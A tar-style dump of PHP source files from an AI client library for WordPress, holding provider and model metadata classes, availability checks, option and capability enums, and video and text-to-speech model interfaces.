abstract protected static function createModelMetadataDirectory(): ModelMetadataDirectoryInterface;
}
src/Providers/DTO/ProviderModelsMetadata.php 0000644 00000010144 15220530455 0015047 0 ustar 00 <?php
declare (strict_types=1);
namespace WordPress\AiClient\Providers\DTO;
use WordPress\AiClient\Common\AbstractDataTransferObject;
use WordPress\AiClient\Common\Exception\InvalidArgumentException;
use WordPress\AiClient\Providers\Models\DTO\ModelMetadata;
/**
* Represents metadata about a provider and its available models.
*
* This class combines provider information with the models that
* the provider offers, facilitating model discovery and selection.
*
* @since 0.1.0
*
* @phpstan-import-type ProviderMetadataArrayShape from ProviderMetadata
* @phpstan-import-type ModelMetadataArrayShape from ModelMetadata
*
* @phpstan-type ProviderModelsMetadataArrayShape array{
* provider: ProviderMetadataArrayShape,
* models: list<ModelMetadataArrayShape>
* }
*
* @extends AbstractDataTransferObject<ProviderModelsMetadataArrayShape>
*/
class ProviderModelsMetadata extends AbstractDataTransferObject
{
public const KEY_PROVIDER = 'provider';
public const KEY_MODELS = 'models';
/**
* @var ProviderMetadata The provider metadata.
*/
protected \WordPress\AiClient\Providers\DTO\ProviderMetadata $provider;
/**
* @var list<ModelMetadata> The available models.
*/
protected array $models;
/**
* Constructor.
*
* @since 0.1.0
*
* @param ProviderMetadata $provider The provider metadata.
* @param list<ModelMetadata> $models The available models.
*
* @throws InvalidArgumentException If models is not a list.
*/
public function __construct(\WordPress\AiClient\Providers\DTO\ProviderMetadata $provider, array $models)
{
if (!array_is_list($models)) {
throw new InvalidArgumentException('Models must be a list array.');
}
$this->provider = $provider;
$this->models = $models;
}
/**
* Creates a deep clone of this metadata.
*
* Clones the provider metadata and all model metadata objects
* to ensure the cloned instance is independent of the original.
*
* @since 0.4.2
*/
public function __clone()
{
// Clone provider metadata
$this->provider = clone $this->provider;
// Deep clone models array (ModelMetadata has __clone)
$clonedModels = [];
foreach ($this->models as $model) {
$clonedModels[] = clone $model;
}
$this->models = $clonedModels;
}
/**
* Gets the provider metadata.
*
* @since 0.1.0
*
* @return ProviderMetadata The provider metadata.
*/
public function getProvider(): \WordPress\AiClient\Providers\DTO\ProviderMetadata
{
return $this->provider;
}
/**
* Gets the available models.
*
* @since 0.1.0
*
* @return list<ModelMetadata> The available models.
*/
public function getModels(): array
{
return $this->models;
}
/**
* {@inheritDoc}
*
* @since 0.1.0
*/
public static function getJsonSchema(): array
{
return ['type' => 'object', 'properties' => [self::KEY_PROVIDER => \WordPress\AiClient\Providers\DTO\ProviderMetadata::getJsonSchema(), self::KEY_MODELS => ['type' => 'array', 'items' => ModelMetadata::getJsonSchema(), 'description' => 'The available models for this provider.']], 'required' => [self::KEY_PROVIDER, self::KEY_MODELS]];
}
/**
* {@inheritDoc}
*
* @since 0.1.0
*
* @return ProviderModelsMetadataArrayShape
*/
public function toArray(): array
{
return [self::KEY_PROVIDER => $this->provider->toArray(), self::KEY_MODELS => array_map(static fn(ModelMetadata $model): array => $model->toArray(), $this->models)];
}
/**
* {@inheritDoc}
*
* @since 0.1.0
*/
public static function fromArray(array $array): self
{
static::validateFromArrayData($array, [self::KEY_PROVIDER, self::KEY_MODELS]);
return new self(\WordPress\AiClient\Providers\DTO\ProviderMetadata::fromArray($array[self::KEY_PROVIDER]), array_map(static fn(array $modelData): ModelMetadata => ModelMetadata::fromArray($modelData), $array[self::KEY_MODELS]));
}
}
src/Providers/DTO/ProviderMetadata.php 0000644 00000017364 15220530455 0013716 0 ustar 00 <?php
declare (strict_types=1);
namespace WordPress\AiClient\Providers\DTO;
use WordPress\AiClient\Common\AbstractDataTransferObject;
use WordPress\AiClient\Common\Exception\InvalidArgumentException;
use WordPress\AiClient\Providers\Enums\ProviderTypeEnum;
use WordPress\AiClient\Providers\Http\Enums\RequestAuthenticationMethod;
/**
* Represents metadata about an AI provider.
*
* This class contains information about an AI provider, including its
* unique identifier, display name, and type (cloud, server, or client).
*
* @since 0.1.0
* @since 1.2.0 Added optional description property.
* @since 1.3.0 Added optional logoPath property.
*
* @phpstan-type ProviderMetadataArrayShape array{
* id: string,
* name: string,
* description?: ?string,
* type: string,
* credentialsUrl?: ?string,
* authenticationMethod?: ?string,
* logoPath?: ?string
* }
*
* @extends AbstractDataTransferObject<ProviderMetadataArrayShape>
*/
class ProviderMetadata extends AbstractDataTransferObject
{
public const KEY_ID = 'id';
public const KEY_NAME = 'name';
public const KEY_DESCRIPTION = 'description';
public const KEY_TYPE = 'type';
public const KEY_CREDENTIALS_URL = 'credentialsUrl';
public const KEY_AUTHENTICATION_METHOD = 'authenticationMethod';
public const KEY_LOGO_PATH = 'logoPath';
/**
* @var string The provider's unique identifier.
*/
protected string $id;
/**
* @var string The provider's display name.
*/
protected string $name;
/**
* @var string|null The provider's description.
*/
protected ?string $description;
/**
* @var ProviderTypeEnum The provider type.
*/
protected ProviderTypeEnum $type;
/**
* @var string|null The URL where users can get credentials.
*/
protected ?string $credentialsUrl;
/**
* @var RequestAuthenticationMethod|null The authentication method.
*/
protected ?RequestAuthenticationMethod $authenticationMethod;
/**
* @var string|null The full path to the provider's logo image file.
*/
protected ?string $logoPath;
/**
* Constructor.
*
* @since 0.1.0
* @since 1.2.0 Added optional $description parameter.
* @since 1.3.0 Added optional $logoPath parameter.
*
* @param string $id The provider's unique identifier.
* @param string $name The provider's display name.
* @param ProviderTypeEnum $type The provider type.
* @param string|null $credentialsUrl The URL where users can get credentials.
* @param RequestAuthenticationMethod|null $authenticationMethod The authentication method.
* @param string|null $description The provider's description.
* @param string|null $logoPath The full path to the provider's logo image file.
* @throws InvalidArgumentException If the provider ID contains invalid characters.
*/
public function __construct(string $id, string $name, ProviderTypeEnum $type, ?string $credentialsUrl = null, ?RequestAuthenticationMethod $authenticationMethod = null, ?string $description = null, ?string $logoPath = null)
{
if (!preg_match('/^[a-z0-9\-_]+$/', $id)) {
throw new InvalidArgumentException(sprintf(
// phpcs:ignore Generic.Files.LineLength.TooLong
'Invalid provider ID "%s". Only lowercase alphanumeric characters, hyphens, and underscores are allowed.',
$id
));
}
$this->id = $id;
$this->name = $name;
$this->description = $description;
$this->type = $type;
$this->credentialsUrl = $credentialsUrl;
$this->authenticationMethod = $authenticationMethod;
$this->logoPath = $logoPath;
}
/**
* Gets the provider's unique identifier.
*
* @since 0.1.0
*
* @return string The provider ID.
*/
public function getId(): string
{
return $this->id;
}
/**
* Gets the provider's display name.
*
* @since 0.1.0
*
* @return string The provider name.
*/
public function getName(): string
{
return $this->name;
}
/**
* Gets the provider's description.
*
* @since 1.2.0
*
* @return string|null The provider description.
*/
public function getDescription(): ?string
{
return $this->description;
}
/**
* Gets the provider type.
*
* @since 0.1.0
*
* @return ProviderTypeEnum The provider type.
*/
public function getType(): ProviderTypeEnum
{
return $this->type;
}
/**
* Gets the credentials URL.
*
* @since 0.1.0
*
* @return string|null The credentials URL.
*/
public function getCredentialsUrl(): ?string
{
return $this->credentialsUrl;
}
/**
* Gets the authentication method.
*
* @since 0.4.0
*
* @return RequestAuthenticationMethod|null The authentication method.
*/
public function getAuthenticationMethod(): ?RequestAuthenticationMethod
{
return $this->authenticationMethod;
}
/**
* Gets the full path to the provider's logo image file.
*
* @since 1.3.0
*
* @return string|null The full path to the logo image file.
*/
public function getLogoPath(): ?string
{
return $this->logoPath;
}
/**
* {@inheritDoc}
*
* @since 0.1.0
* @since 1.2.0 Added description to schema.
* @since 1.3.0 Added logoPath to schema.
*/
public static function getJsonSchema(): array
{
return ['type' => 'object', 'properties' => [self::KEY_ID => ['type' => 'string', 'description' => 'The provider\'s unique identifier.'], self::KEY_NAME => ['type' => 'string', 'description' => 'The provider\'s display name.'], self::KEY_DESCRIPTION => ['type' => 'string', 'description' => 'The provider\'s description.'], self::KEY_TYPE => ['type' => 'string', 'enum' => ProviderTypeEnum::getValues(), 'description' => 'The provider type (cloud, server, or client).'], self::KEY_CREDENTIALS_URL => ['type' => 'string', 'description' => 'The URL where users can get credentials.'], self::KEY_AUTHENTICATION_METHOD => ['type' => ['string', 'null'], 'enum' => array_merge(RequestAuthenticationMethod::getValues(), [null]), 'description' => 'The authentication method.'], self::KEY_LOGO_PATH => ['type' => 'string', 'description' => 'The full path to the provider\'s logo image file.']], 'required' => [self::KEY_ID, self::KEY_NAME, self::KEY_TYPE]];
}
/**
* {@inheritDoc}
*
* @since 0.1.0
* @since 1.2.0 Added description to output.
* @since 1.3.0 Added logoPath to output.
*
* @return ProviderMetadataArrayShape
*/
public function toArray(): array
{
return [self::KEY_ID => $this->id, self::KEY_NAME => $this->name, self::KEY_DESCRIPTION => $this->description, self::KEY_TYPE => $this->type->value, self::KEY_CREDENTIALS_URL => $this->credentialsUrl, self::KEY_AUTHENTICATION_METHOD => $this->authenticationMethod ? $this->authenticationMethod->value : null, self::KEY_LOGO_PATH => $this->logoPath];
}
/**
* {@inheritDoc}
*
* @since 0.1.0
* @since 1.2.0 Added description support.
* @since 1.3.0 Added logoPath support.
*/
public static function fromArray(array $array): self
{
static::validateFromArrayData($array, [self::KEY_ID, self::KEY_NAME, self::KEY_TYPE]);
return new self($array[self::KEY_ID], $array[self::KEY_NAME], ProviderTypeEnum::from($array[self::KEY_TYPE]), $array[self::KEY_CREDENTIALS_URL] ?? null, isset($array[self::KEY_AUTHENTICATION_METHOD]) ? RequestAuthenticationMethod::from($array[self::KEY_AUTHENTICATION_METHOD]) : null, $array[self::KEY_DESCRIPTION] ?? null, $array[self::KEY_LOGO_PATH] ?? null);
}
}
src/Providers/ApiBasedImplementation/AbstractApiBasedModel.php 0000644 00000006231 15220530455 0020517 0 ustar 00 <?php
declare (strict_types=1);
namespace WordPress\AiClient\Providers\ApiBasedImplementation;
use WordPress\AiClient\Providers\ApiBasedImplementation\Contracts\ApiBasedModelInterface;
use WordPress\AiClient\Providers\DTO\ProviderMetadata;
use WordPress\AiClient\Providers\Http\Contracts\WithHttpTransporterInterface;
use WordPress\AiClient\Providers\Http\Contracts\WithRequestAuthenticationInterface;
use WordPress\AiClient\Providers\Http\DTO\RequestOptions;
use WordPress\AiClient\Providers\Http\Traits\WithHttpTransporterTrait;
use WordPress\AiClient\Providers\Http\Traits\WithRequestAuthenticationTrait;
use WordPress\AiClient\Providers\Models\DTO\ModelConfig;
use WordPress\AiClient\Providers\Models\DTO\ModelMetadata;
/**
* Base class for an API-based model for a provider.
*
* While this class contains no abstract methods, it is still abstract to ensure that each model class can actually
* perform generative AI tasks by implementing the corresponding interfaces.
*
* @since 0.1.0
*/
abstract class AbstractApiBasedModel implements ApiBasedModelInterface, WithHttpTransporterInterface, WithRequestAuthenticationInterface
{
use WithHttpTransporterTrait;
use WithRequestAuthenticationTrait;
/**
* @var ModelMetadata The metadata for the model.
*/
private ModelMetadata $metadata;
/**
* @var ProviderMetadata The metadata for the model's provider.
*/
private ProviderMetadata $providerMetadata;
/**
* @var ModelConfig The configuration for the model.
*/
private ModelConfig $config;
/**
* @var RequestOptions|null The request options for HTTP transport.
*/
private ?RequestOptions $requestOptions = null;
/**
* Constructor.
*
* @since 0.1.0
*
* @param ModelMetadata $metadata The metadata for the model.
* @param ProviderMetadata $providerMetadata The metadata for the model's provider.
*/
public function __construct(ModelMetadata $metadata, ProviderMetadata $providerMetadata)
{
$this->metadata = $metadata;
$this->providerMetadata = $providerMetadata;
$this->config = ModelConfig::fromArray([]);
}
/**
* {@inheritDoc}
*
* @since 0.1.0
*/
final public function metadata(): ModelMetadata
{
return $this->metadata;
}
/**
* {@inheritDoc}
*
* @since 0.1.0
*/
final public function providerMetadata(): ProviderMetadata
{
return $this->providerMetadata;
}
/**
* {@inheritDoc}
*
* @since 0.1.0
*/
final public function setConfig(ModelConfig $config): void
{
$this->config = $config;
}
/**
* {@inheritDoc}
*
* @since 0.1.0
*/
final public function getConfig(): ModelConfig
{
return $this->config;
}
/**
* {@inheritDoc}
*
* @since 0.3.0
*/
final public function setRequestOptions(RequestOptions $requestOptions): void
{
$this->requestOptions = $requestOptions;
}
/**
* {@inheritDoc}
*
* @since 0.3.0
*/
final public function getRequestOptions(): ?RequestOptions
{
return $this->requestOptions;
}
}
src/Providers/ApiBasedImplementation/GenerateTextApiBasedProviderAvailability.php 0000644 00000004500 15220530455 0024435 0 ustar 00 <?php
declare (strict_types=1);
namespace WordPress\AiClient\Providers\ApiBasedImplementation;
use Exception;
use WordPress\AiClient\Messages\DTO\Message;
use WordPress\AiClient\Messages\DTO\MessagePart;
use WordPress\AiClient\Messages\Enums\MessageRoleEnum;
use WordPress\AiClient\Providers\Contracts\ProviderAvailabilityInterface;
use WordPress\AiClient\Providers\Models\Contracts\ModelInterface;
use WordPress\AiClient\Providers\Models\DTO\ModelConfig;
use WordPress\AiClient\Providers\Models\TextGeneration\Contracts\TextGenerationModelInterface;
/**
* Class to check availability for an API-based provider via a test request to the endpoint to generate text.
*
* This class should be used for cloud-based providers that do not offer a model listing endpoint, but do offer a
* text generation endpoint which requires authentication. A minimal request to this endpoint is used to determine
* if the provider is properly configured with valid credentials.
*
* @since 0.1.0
*/
class GenerateTextApiBasedProviderAvailability implements ProviderAvailabilityInterface
{
/**
* @var ModelInterface&TextGenerationModelInterface The model to use for checking availability.
*/
private ModelInterface $model;
/**
* Constructor.
*
* @since 0.1.0
*
* @param ModelInterface $model The model to use for checking availability.
*/
public function __construct(ModelInterface $model)
{
if (!$model instanceof TextGenerationModelInterface) {
throw new Exception('The model class to check provider availability must implement TextGenerationModelInterface.');
}
$this->model = $model;
}
/**
* {@inheritDoc}
*
* @since 0.1.0
*/
public function isConfigured(): bool
{
// Set config to use as few resources as possible for the test.
$modelConfig = ModelConfig::fromArray([ModelConfig::KEY_MAX_TOKENS => 1]);
$this->model->setConfig($modelConfig);
try {
// Attempt to generate text to check if the provider is available.
$this->model->generateTextResult([new Message(MessageRoleEnum::user(), [new MessagePart('a')])]);
return \true;
} catch (Exception $e) {
// If an exception occurs, the provider is not available.
return \false;
}
}
}
src/Providers/ApiBasedImplementation/ListModelsApiBasedProviderAvailability.php 0000644 00000003406 15220530455 0024121 0 ustar 00 <?php
declare (strict_types=1);
namespace WordPress\AiClient\Providers\ApiBasedImplementation;
use Exception;
use WordPress\AiClient\Providers\Contracts\ModelMetadataDirectoryInterface;
use WordPress\AiClient\Providers\Contracts\ProviderAvailabilityInterface;
/**
* Class to check availability for an API-based provider via a test request to the endpoint to list models.
*
* This class should be used for cloud-based providers that offer a model listing endpoint which requires
* authentication. A request to this endpoint is used to determine if the provider is properly configured
* with valid credentials.
*
* @since 0.1.0
*/
class ListModelsApiBasedProviderAvailability implements ProviderAvailabilityInterface
{
/**
* @var ModelMetadataDirectoryInterface The model metadata directory to use for checking availability.
*/
private ModelMetadataDirectoryInterface $modelMetadataDirectory;
/**
* Constructor.
*
* @since 0.1.0
*
* @param ModelMetadataDirectoryInterface $modelMetadataDirectory The model metadata directory to use for checking
* availability.
*/
public function __construct(ModelMetadataDirectoryInterface $modelMetadataDirectory)
{
$this->modelMetadataDirectory = $modelMetadataDirectory;
}
/**
* {@inheritDoc}
*
* @since 0.1.0
*/
public function isConfigured(): bool
{
try {
// Attempt to list models to check if the provider is available.
$this->modelMetadataDirectory->listModelMetadata();
return \true;
} catch (Exception $e) {
// If an exception occurs, the provider is not available.
return \false;
}
}
}
src/Providers/ApiBasedImplementation/AbstractApiBasedModelMetadataDirectory.php 0000644 00000006365 15220530455 0024055 0 ustar 00 <?php
declare (strict_types=1);
namespace WordPress\AiClient\Providers\ApiBasedImplementation;
use WordPress\AiClient\AiClient;
use WordPress\AiClient\Common\Contracts\CachesDataInterface;
use WordPress\AiClient\Common\Exception\InvalidArgumentException;
use WordPress\AiClient\Common\Traits\WithDataCachingTrait;
use WordPress\AiClient\Providers\Contracts\ModelMetadataDirectoryInterface;
use WordPress\AiClient\Providers\Http\Contracts\WithHttpTransporterInterface;
use WordPress\AiClient\Providers\Http\Contracts\WithRequestAuthenticationInterface;
use WordPress\AiClient\Providers\Http\Traits\WithHttpTransporterTrait;
use WordPress\AiClient\Providers\Http\Traits\WithRequestAuthenticationTrait;
use WordPress\AiClient\Providers\Models\DTO\ModelMetadata;
/**
* Base class for an API-based model metadata directory for a provider.
*
* @since 0.1.0
*/
abstract class AbstractApiBasedModelMetadataDirectory implements ModelMetadataDirectoryInterface, WithHttpTransporterInterface, WithRequestAuthenticationInterface, CachesDataInterface
{
use WithHttpTransporterTrait;
use WithRequestAuthenticationTrait;
use WithDataCachingTrait;
/**
* The cache key suffix for the models list.
*
* @since 0.4.0
*
* @var string
*/
private const MODELS_CACHE_KEY = 'models';
/**
* {@inheritDoc}
*
* @since 0.1.0
*/
final public function listModelMetadata(): array
{
$modelsMetadata = $this->getModelMetadataMap();
return array_values($modelsMetadata);
}
/**
* {@inheritDoc}
*
* @since 0.1.0
*/
final public function hasModelMetadata(string $modelId): bool
{
$modelsMetadata = $this->getModelMetadataMap();
return isset($modelsMetadata[$modelId]);
}
/**
* {@inheritDoc}
*
* @since 0.1.0
*/
final public function getModelMetadata(string $modelId): ModelMetadata
{
$modelsMetadata = $this->getModelMetadataMap();
if (!isset($modelsMetadata[$modelId])) {
throw new InvalidArgumentException(sprintf('No model with ID %s was found in the provider', $modelId));
}
return $modelsMetadata[$modelId];
}
/**
* Returns the map of model ID to model metadata for all models from the provider.
*
* @since 0.1.0
*
* @return array<string, ModelMetadata> Map of model ID to model metadata.
*/
private function getModelMetadataMap(): array
{
/** @var array<string, ModelMetadata> */
return $this->cached(self::MODELS_CACHE_KEY, fn() => $this->sendListModelsRequest(), 86400);
}
/**
* {@inheritDoc}
*
* @since 0.4.0
*/
protected function getCachedKeys(): array
{
return [self::MODELS_CACHE_KEY];
}
/**
* {@inheritDoc}
*
* @since 0.4.0
*/
protected function getBaseCacheKey(): string
{
return 'ai_client_' . AiClient::VERSION . '_' . md5(static::class);
}
/**
* Sends the API request to list models from the provider and returns the map of model ID to model metadata.
*
* @since 0.1.0
*
* @return array<string, ModelMetadata> Map of model ID to model metadata.
*/
abstract protected function sendListModelsRequest(): array;
}
src/Providers/ApiBasedImplementation/Contracts/ApiBasedModelInterface.php 0000644 00000002021 15220530455 0022605 0 ustar 00 <?php
declare (strict_types=1);
namespace WordPress\AiClient\Providers\ApiBasedImplementation\Contracts;
use WordPress\AiClient\Providers\Http\DTO\RequestOptions;
use WordPress\AiClient\Providers\Models\Contracts\ModelInterface;
/**
* Interface for API-based AI models that support HTTP transport configuration.
*
* This interface extends ModelInterface to add request options support
* for models that communicate with external APIs via HTTP.
*
* @since 0.3.0
*/
interface ApiBasedModelInterface extends ModelInterface
{
/**
* Sets the request options for HTTP transport.
*
* @since 0.3.0
*
* @param RequestOptions $requestOptions The request options to use.
* @return void
*/
public function setRequestOptions(RequestOptions $requestOptions): void;
/**
* Gets the request options for HTTP transport.
*
* @since 0.3.0
*
* @return RequestOptions|null The request options, or null if not set.
*/
public function getRequestOptions(): ?RequestOptions;
}
src/Providers/ApiBasedImplementation/AbstractApiProvider.php 0000644 00000003001 15220530455 0020302 0 ustar 00 <?php
declare (strict_types=1);
namespace WordPress\AiClient\Providers\ApiBasedImplementation;
use WordPress\AiClient\Providers\AbstractProvider;
/**
* Base class for API-based providers.
*
* This abstract class provides URL construction utilities for providers that
* communicate with REST APIs. It standardizes the pattern of combining a base
* URL with endpoint paths.
*
* @since 0.2.0
*/
abstract class AbstractApiProvider extends AbstractProvider
{
/**
* Gets the base URL for the provider's API.
*
* The base URL should include the protocol and domain, and may include
* the API version path (e.g., "https://api.example.com/v1").
*
* @since 0.2.0
*
* @return string The base URL for the provider's API.
*/
abstract protected static function baseUrl(): string;
/**
* Constructs a full URL by combining the base URL with an optional path.
*
* This method ensures proper URL construction by:
* - Using the provider's base URL
* - Trimming leading slashes from the path to prevent double-slashes
* - Joining the base URL and path with a single forward slash
*
* @since 0.2.0
*
* @param string $path Optional path to append to the base URL. Default empty string.
* @return string The complete URL.
*/
public static function url(string $path = ''): string
{
if ($path === '') {
return static::baseUrl();
}
return static::baseUrl() . '/' . ltrim($path, '/');
}
}
src/Providers/Models/Enums/OptionEnum.php 0000644 00000013451 15220530455 0014435 0 ustar 00 <?php
declare (strict_types=1);
namespace WordPress\AiClient\Providers\Models\Enums;
use ReflectionClass;
use WordPress\AiClient\Common\AbstractEnum;
use WordPress\AiClient\Providers\Models\DTO\ModelConfig;
/**
* Enum for model options.
*
* This enum dynamically includes all options from ModelConfig KEY_* constants
* in addition to the explicitly defined constants below.
*
* Explicitly defined option (not in ModelConfig):
* @method static self inputModalities() Creates an instance for INPUT_MODALITIES option.
* @method bool isInputModalities() Checks if the option is INPUT_MODALITIES.
*
* Dynamically loaded from ModelConfig KEY_* constants:
* @method static self candidateCount() Creates an instance for CANDIDATE_COUNT option.
* @method static self customOptions() Creates an instance for CUSTOM_OPTIONS option.
* @method static self frequencyPenalty() Creates an instance for FREQUENCY_PENALTY option.
* @method static self functionDeclarations() Creates an instance for FUNCTION_DECLARATIONS option.
* @method static self logprobs() Creates an instance for LOGPROBS option.
* @method static self maxTokens() Creates an instance for MAX_TOKENS option.
* @method static self outputFileType() Creates an instance for OUTPUT_FILE_TYPE option.
* @method static self outputMediaAspectRatio() Creates an instance for OUTPUT_MEDIA_ASPECT_RATIO option.
* @method static self outputMediaOrientation() Creates an instance for OUTPUT_MEDIA_ORIENTATION option.
* @method static self outputMimeType() Creates an instance for OUTPUT_MIME_TYPE option.
* @method static self outputModalities() Creates an instance for OUTPUT_MODALITIES option.
* @method static self outputSchema() Creates an instance for OUTPUT_SCHEMA option.
* @method static self outputSpeechVoice() Creates an instance for OUTPUT_SPEECH_VOICE option.
* @method static self presencePenalty() Creates an instance for PRESENCE_PENALTY option.
* @method static self stopSequences() Creates an instance for STOP_SEQUENCES option.
* @method static self systemInstruction() Creates an instance for SYSTEM_INSTRUCTION option.
* @method static self temperature() Creates an instance for TEMPERATURE option.
* @method static self topK() Creates an instance for TOP_K option.
* @method static self topLogprobs() Creates an instance for TOP_LOGPROBS option.
* @method static self topP() Creates an instance for TOP_P option.
* @method static self webSearch() Creates an instance for WEB_SEARCH option.
* @method bool isCandidateCount() Checks if the option is CANDIDATE_COUNT.
* @method bool isCustomOptions() Checks if the option is CUSTOM_OPTIONS.
* @method bool isFrequencyPenalty() Checks if the option is FREQUENCY_PENALTY.
* @method bool isFunctionDeclarations() Checks if the option is FUNCTION_DECLARATIONS.
* @method bool isLogprobs() Checks if the option is LOGPROBS.
* @method bool isMaxTokens() Checks if the option is MAX_TOKENS.
* @method bool isOutputFileType() Checks if the option is OUTPUT_FILE_TYPE.
* @method bool isOutputMediaAspectRatio() Checks if the option is OUTPUT_MEDIA_ASPECT_RATIO.
* @method bool isOutputMediaOrientation() Checks if the option is OUTPUT_MEDIA_ORIENTATION.
* @method bool isOutputMimeType() Checks if the option is OUTPUT_MIME_TYPE.
* @method bool isOutputModalities() Checks if the option is OUTPUT_MODALITIES.
* @method bool isOutputSchema() Checks if the option is OUTPUT_SCHEMA.
* @method bool isOutputSpeechVoice() Checks if the option is OUTPUT_SPEECH_VOICE.
* @method bool isPresencePenalty() Checks if the option is PRESENCE_PENALTY.
* @method bool isStopSequences() Checks if the option is STOP_SEQUENCES.
* @method bool isSystemInstruction() Checks if the option is SYSTEM_INSTRUCTION.
* @method bool isTemperature() Checks if the option is TEMPERATURE.
* @method bool isTopK() Checks if the option is TOP_K.
* @method bool isTopLogprobs() Checks if the option is TOP_LOGPROBS.
* @method bool isTopP() Checks if the option is TOP_P.
* @method bool isWebSearch() Checks if the option is WEB_SEARCH.
*
* @since 0.1.0
*/
class OptionEnum extends AbstractEnum
{
/**
* Input modalities option.
*
* This constant is not in ModelConfig as it's derived from message content,
* not configured directly.
*/
public const INPUT_MODALITIES = 'input_modalities';
/**
* Determines the class enumerations by reflecting on class constants.
*
* Overrides the parent method to dynamically add constants from ModelConfig
* that are prefixed with KEY_. These are transformed to remove the KEY_ prefix
* and converted to snake_case values.
*
* @since 0.1.0
*
* @param class-string $className The fully qualified class name.
* @return array<string, string> The enum constants.
*/
protected static function determineClassEnumerations(string $className): array
{
// Start with the constants defined in this class using parent method
$constants = parent::determineClassEnumerations($className);
// Use reflection to get all constants from ModelConfig
$modelConfigReflection = new ReflectionClass(ModelConfig::class);
$modelConfigConstants = $modelConfigReflection->getConstants();
// Add ModelConfig constants that start with KEY_
foreach ($modelConfigConstants as $constantName => $constantValue) {
if (str_starts_with($constantName, 'KEY_')) {
// Remove KEY_ prefix to get the enum constant name
$enumConstantName = substr($constantName, 4);
// The value is the snake_case version stored in ModelConfig
// ModelConfig already stores these as snake_case strings
if (is_string($constantValue)) {
$constants[$enumConstantName] = $constantValue;
}
}
}
return $constants;
}
}
src/Providers/Models/Enums/CapabilityEnum.php 0000644 00000005022 15220530455 0015241 0 ustar 00 <?php
declare (strict_types=1);
namespace WordPress\AiClient\Providers\Models\Enums;
use WordPress\AiClient\Common\AbstractEnum;
/**
* Enum for model capabilities.
*
* @since 0.1.0
*
* @method static self textGeneration() Creates an instance for TEXT_GENERATION capability.
* @method static self imageGeneration() Creates an instance for IMAGE_GENERATION capability.
* @method static self textToSpeechConversion() Creates an instance for TEXT_TO_SPEECH_CONVERSION capability.
* @method static self speechGeneration() Creates an instance for SPEECH_GENERATION capability.
* @method static self musicGeneration() Creates an instance for MUSIC_GENERATION capability.
* @method static self videoGeneration() Creates an instance for VIDEO_GENERATION capability.
* @method static self embeddingGeneration() Creates an instance for EMBEDDING_GENERATION capability.
* @method static self chatHistory() Creates an instance for CHAT_HISTORY capability.
* @method bool isTextGeneration() Checks if the capability is TEXT_GENERATION.
* @method bool isImageGeneration() Checks if the capability is IMAGE_GENERATION.
* @method bool isTextToSpeechConversion() Checks if the capability is TEXT_TO_SPEECH_CONVERSION.
* @method bool isSpeechGeneration() Checks if the capability is SPEECH_GENERATION.
* @method bool isMusicGeneration() Checks if the capability is MUSIC_GENERATION.
* @method bool isVideoGeneration() Checks if the capability is VIDEO_GENERATION.
* @method bool isEmbeddingGeneration() Checks if the capability is EMBEDDING_GENERATION.
* @method bool isChatHistory() Checks if the capability is CHAT_HISTORY.
*/
class CapabilityEnum extends AbstractEnum
{
/**
* Text generation capability.
*/
public const TEXT_GENERATION = 'text_generation';
/**
* Image generation capability.
*/
public const IMAGE_GENERATION = 'image_generation';
/**
* Text to speech conversion capability.
*/
public const TEXT_TO_SPEECH_CONVERSION = 'text_to_speech_conversion';
/**
* Speech generation capability.
*/
public const SPEECH_GENERATION = 'speech_generation';
/**
* Music generation capability.
*/
public const MUSIC_GENERATION = 'music_generation';
/**
* Video generation capability.
*/
public const VIDEO_GENERATION = 'video_generation';
/**
* Embedding generation capability.
*/
public const EMBEDDING_GENERATION = 'embedding_generation';
/**
* Chat history support capability.
*/
public const CHAT_HISTORY = 'chat_history';
}
src/Providers/Models/VideoGeneration/Contracts/VideoGenerationOperationModelInterface.php 0000644 00000001435 15220530455 0026037 0 ustar 00 <?php
declare (strict_types=1);
namespace WordPress\AiClient\Providers\Models\VideoGeneration\Contracts;
use WordPress\AiClient\Messages\DTO\Message;
use WordPress\AiClient\Operations\DTO\GenerativeAiOperation;
/**
* Interface for models that support asynchronous video generation operations.
*
* Provides methods for initiating long-running video generation tasks.
*
* @since 1.3.0
*/
interface VideoGenerationOperationModelInterface
{
/**
* Creates a video generation operation.
*
* @since 1.3.0
*
* @param list<Message> $prompt Array of messages containing the video generation prompt.
* @return GenerativeAiOperation The initiated video generation operation.
*/
public function generateVideoOperation(array $prompt): GenerativeAiOperation;
}
src/Providers/Models/VideoGeneration/Contracts/VideoGenerationModelInterface.php 0000644 00000001335 15220530455 0024155 0 ustar 00 <?php
declare (strict_types=1);
namespace WordPress\AiClient\Providers\Models\VideoGeneration\Contracts;
use WordPress\AiClient\Messages\DTO\Message;
use WordPress\AiClient\Results\DTO\GenerativeAiResult;
/**
* Interface for models that support video generation.
*
* Provides synchronous methods for generating videos from prompts.
*
* @since 1.3.0
*/
interface VideoGenerationModelInterface
{
/**
* Generates videos from a prompt.
*
* @since 1.3.0
*
* @param list<Message> $prompt Array of messages containing the video generation prompt.
* @return GenerativeAiResult Result containing generated videos.
*/
public function generateVideoResult(array $prompt): GenerativeAiResult;
}
Providers/Models/TextToSpeechConversion/Contracts/TextToSpeechConversionOperationModelInterface.php 0000644 00000001527 15220530455 0030670 0 ustar 00 src <?php
declare (strict_types=1);
namespace WordPress\AiClient\Providers\Models\TextToSpeechConversion\Contracts;
use WordPress\AiClient\Messages\DTO\Message;
use WordPress\AiClient\Operations\DTO\GenerativeAiOperation;
/**
* Interface for models that support asynchronous text-to-speech conversion operations.
*
* Provides methods for initiating long-running text-to-speech conversion tasks.
*
* @since 0.1.0
*/
interface TextToSpeechConversionOperationModelInterface
{
/**
* Creates a text-to-speech conversion operation.
*
* @since 0.1.0
*
* @param list<Message> $prompt Array of messages containing the text to convert to speech.
* @return GenerativeAiOperation The initiated text-to-speech conversion operation.
*/
public function convertTextToSpeechOperation(array $prompt): GenerativeAiOperation;
}
src/Providers/Models/TextToSpeechConversion/Contracts/TextToSpeechConversionModelInterface.php 0000644 00000001374 15220530455 0027066 0 ustar 00 <?php
declare (strict_types=1);
namespace WordPress\AiClient\Providers\Models\TextToSpeechConversion\Contracts;
use WordPress\AiClient\Messages\DTO\Message;
use WordPress\AiClient\Results\DTO\GenerativeAiResult;
/**
* Interface for models that support text-to-speech conversion.
*
* Provides synchronous methods for converting text to speech audio.
*
* @since 0.1.0
*/
interface TextToSpeechConversionModelInterface
{
/**
* Converts text to speech.
*
* @since 0.1.0
*
* @param list<Message> $prompt Array of messages containing the text to convert to speech.
* @return GenerativeAiResult Result containing generated speech audio.
*/
public function convertTextToSpeechResult(array $prompt): GenerativeAiResult;
}
